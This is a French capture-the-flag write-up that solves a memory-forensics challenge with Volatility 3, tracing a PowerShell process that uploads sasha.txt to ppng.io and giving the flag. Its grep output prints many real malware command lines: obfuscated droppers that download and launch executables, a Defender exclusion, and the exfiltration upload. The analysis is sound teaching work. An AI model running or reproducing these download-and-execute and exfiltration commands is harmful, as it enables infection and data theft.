Mémoire 4/4

Catégorie: Forensic Difficulté: - Flag: CTFREI{160.16.213.98_http://ppng.io/sasha_POPOPOKEMON}

Challenge

Description


Cette fois-ci, il semblerait qu'un script PowerShell étrange tourne sur ma machine. Aide moi à analyser son comportement.

Le flag est composé de :

  • L'IP contactée par le processus

  • L'URL utilisée par le script

  • Le contenu envoyé

Format : CTFREI{8.8.8.8_https://ctfrei.fr/flag_MEGASCRIPT}

Note : Le fichier est le même pour les 4 étapes

sha1: c91d17b27d8bf5df0830bd6104801b065cca6ee9

Solution

On commence par lister ce qu'il s'est passé sur le réseau grâce au plugin windows.netscan et en filtrant avec le terme powershell :

$ volatility3 -f memory.vmem windows.netscan | grep -i "powershell"

0x960351b38010.0TCPv4   192.168.19.156 49901 160.16.213.98   80      ESTABLISHED     2788    powershell.exe  2024-09-12 10:52:05.000000

On découvre un seul résultat, et l'IP qui nous intéresse est 160.16.213.98. On remarque également que c'est sur le port 80, donc une requête HTTP (c'est important pour la suite).

Maintenant, il faut chercher ce qui a été envoyé, pour ça on commence par faire un strings sur le fichier .vmem au complet et que l'on va sauvegarder à côté pour travailler dessus plus facilement.

strings memory.vmem > strings.txt

Il est important de mettre en relation de ce que l'on sait :

  • La requête est faite via PowerShell

  • Il s'agit d'une requête HTTP

Pour faire une requête HTTP en Powershell, on utilise Invoke-WebRequest. Malheureusement, ce n'est pas suffisant pour discriminer tous les résultats de la commande strings précédente. On va alors aussi limiter celles faites sur de l'HTTP et non HTTPS :

$ cat memory_strings.txt | grep -i "Invoke-WebRequest .*http://"

shell ("powershell.exe -command 'invoke-webrequest http://
Invoke-WebRequest -Uri ""http://3.65.2.139/read/Booking-02.exe"" -OutFile TrojanDownloader:O97M/Powdow.KG!MTB
Invoke-WebRequest -Uri ""http://3.65.2.139/read/Ltrwmpfgvbk.exe"" -OutFile
8psowerss = "powers"she = "shel"CreateObject("Outlook.Application")sease = "Hidde"CreateObject("wscript." & she & "l").exec(psowerss & "hell -w " & sease & "n Invoke-WebRequest -Uri " &Chr(34) & "http://scaladevelopments.scaladevco.com/
powershell -Command "Invoke-WebRequest -Uri 'http://146.190.48.229/fuackme100.exe' -OutFile 'C:\Windows\Temp\file1.exe'"Trojan:Win64/CobaltStrike.SPQ!MTB
Invoke-WebRequest -Uri ""http://62.233.57.190/z1/PTT_20230707-WA01120xlsx.exe"" -OutFile $TempFile; Start-Process $TempFile;TrojanDownloader:O97M/Powdow.STY!MTB
WinHttpReq.Open "GET", myURL, False, "username", "password"http://192.168.100.5/testdata.txtSaveToFile "C:\Users\Enigma\source\repos\02rev\mytest.txt", 2 ' 1PowerShell -Command ""{Invoke-WebRequest -Uri http://192.168.100.5/testdata.txt -OutFileEnviron("USERPROFILE") & "\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\NetLogger.exe
NCreateObject("wscript." & she & "l")exec("powe" & "rshell -w Hidden Invoke-WebRequest -Uri Chr(34) & "http://178.17.171.144/sch/
powershell -executionpolicy unrestricted -command "invoke-webrequest 'http://124.106.197.167add-mppreference -exclusionpath 'c:\perflogs'bypass -confirm:$false -force
 "C:\Windows\System32\rundll32.exe " & Environ("TEMP") & "\powershdll.dll,main= Environ("TEMP") & "\powershdll.dll"{ Invoke-WebRequest -useb http://
Invoke-WebRequest -Uri "http://ppng.io/sasha" -Method Put -InFile ".\sasha.txt"`
    Invoke-WebRequest -Uri "http://ppng.io/sasha" -Method Put -InFile ".\sasha.txt" -UseBasicParsing`
Invoke-WebRequest -Uri "http://ppng.io/sasha" -Method Put -InFile ".\sasha.txt" -UseBasicParsing`
Shell ("powershell.exeInvoke-WebRequest http://mailicious.com/filemanager.exe -OutFile C:\\filemanager.exe
.CreateObject("wscript." & she & "l").exec(psowerss & "hell -w Hidden Invoke-WebRequest -Urihttp://landing.yetiapp.ec/IDx6/FLP_5012_306_171.ex& "C:\Users\Public\Documents\checkgirl.ex"
.CreateObject("wscript." & she & "l").exec(psowerss & "hell -w " & sease & "n Invoke-WebRequest -Urihttp://scaladevelopments.scaladevco.com/13Z/IMG_001263082.exC:\Users\Public\Documents\technologypurpose.ex"
Invoke-WebRequest -Uri "http://ppng.io/sasha" -Method Put -InFile ".\sasha.txt" -UseBasicParsing

On a filtré quasiment tout avec les informations à notre disposition, il ne reste plus qu'à déterminer laquelle de ces commandes est la bonne.

Parmi les URLs, on voit http://ppng.io/sasha, un petit nslookup dessus nous permet de savoir qu'elle est l'IP du serveur

$ nslookup ppng.io

Réponse ne faisant pas autorité :
Nom :    ppng.io
Address:  160.16.213.98

Bingo, c'est la même que celle qu'on a trouvée au tout début. La commande envoi le fichier sasha.txt, on va refaire un grep dessus pour découvrir son emplacement.

$ volatility3 -f memory.vmem windows.filescan | grep-i "sasha.txt"
0x960353465920.0\Users\Aramis\Desktop\sasha.txt 216
0x960356e0b2c0  \Users\Aramis\Desktop\sasha.txt 216

On le récupère le fichier avec le plugin windows.dumpfiles puis on affiche son contenu :

$ volatility3 -f memory.vmem windows.dumpfiles --virtaddr 0x960353465920

Volatility 3 Framework 2.7.0
Progress:  100.00               PDB scanning finished
Cache   FileObject      FileName        Result

DataSectionObject       0x960353465920  sasha.txt       file.0x960353465920.0x960358485d10.DataSectionObject.sasha.txt.dat
SharedCacheMap  0x960353465920  sasha.txt       file.0x960353465920.0x960355327750.SharedCacheMap.sasha.txt.vacb


$ cat file.0x960353465920.0x960358485d10.DataSectionObject.sasha.txt.dat
POPOPOKEMON

On a tout ce qui nous faut : l'IP, le nom de domaine et le contenu du fichier envoyé.

Dernière mise à jour

Cet article vous a-t-il été utile ?